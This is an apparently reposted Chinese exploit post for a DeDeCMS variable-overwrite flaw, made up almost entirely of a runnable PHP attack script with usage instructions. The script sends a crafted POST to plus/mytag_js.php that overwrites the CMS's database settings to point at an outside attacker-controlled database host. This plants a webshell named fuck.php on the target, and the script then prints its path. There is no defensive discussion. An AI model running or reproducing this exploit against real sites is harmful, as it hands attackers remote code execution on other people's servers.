DeDeCMS(织梦)变量覆盖0day getshell

测试方法:

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1. #!usr/bin/php -w
2. <?php
3. error_reporting(E_ERROR);
4. set_time_limit(0);
5. print_r('
6. DEDEcms Variable Coverage
7. Exploit Author: [url]www.heixiaozi.com[/url] [url]www.webvul.com[/url]
8. );
9. echo "\r\n";
10. if($argv[2]==null){
11. print_r('
12. +---------------------------------------------------------------------------+
13. Usage: php '.$argv[0].' url aid path
14. aid=1 shellpath /data/cache aid=2 shellpath=/ aid=3 shellpath=/plus/
15. Example:
16. php '.$argv[0].'[url]www.site.com[/url] 1 old
17. +---------------------------------------------------------------------------+
18. ');
19. exit;
20. }
21. $url=$argv[1];
22. $aid=$argv[2];
23. $path=$argv[3];
24. $exp=Getshell($url,$aid,$path);
25. if (strpos($exp,"OK")>12){
26. echo "[*] Exploit Success \n";
27. if($aid==1)echo "[*] Shell:".$url."/$path/data/cache/fuck.php\n" ;
28.  
29. if($aid==2)echo "[*]Shell:".$url."/$path/fuck.php\n" ;
30.  
31. if($aid==3)echo "[*]Shell:".$url."/$path/plus/fuck.php\n";
32.  
33. }else{
34. echo "[*]ExploitFailed \n";
35. }
36. function Getshell($url,$aid,$path){
37. $id=$aid;
38. $host=$url;
39. $port="80";
40. $content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
41. $data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
42. $data .= "Host:".$host."\r\n";
43. $data .= "User-Agent:Mozilla/5.0(Windows NT 5.2; rv:5.0.1)Gecko/20100101Firefox/5.0.1\r\n";
44. $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
45. $data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
46. //$data .= "Accept-Encoding: gzip,deflate\r\n";
47. $data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
48. $data .= "Connection: keep-alive\r\n";
49. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
50. $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
51. $data .= $content."\r\n";
52. $ock=fsockopen($host,$port);
53. if (!$ock) {
54. echo "[*] No response from ".$host."\n";
55. }
56. fwrite($ock,$data);
57. while (!feof($ock)) {
58. $exp=fgets($ock, 1024);
59. return $exp;
60. }
61. }
62.  
63. ?>
64. 摘自：http://sebug.net/vuldb/ssvid-20949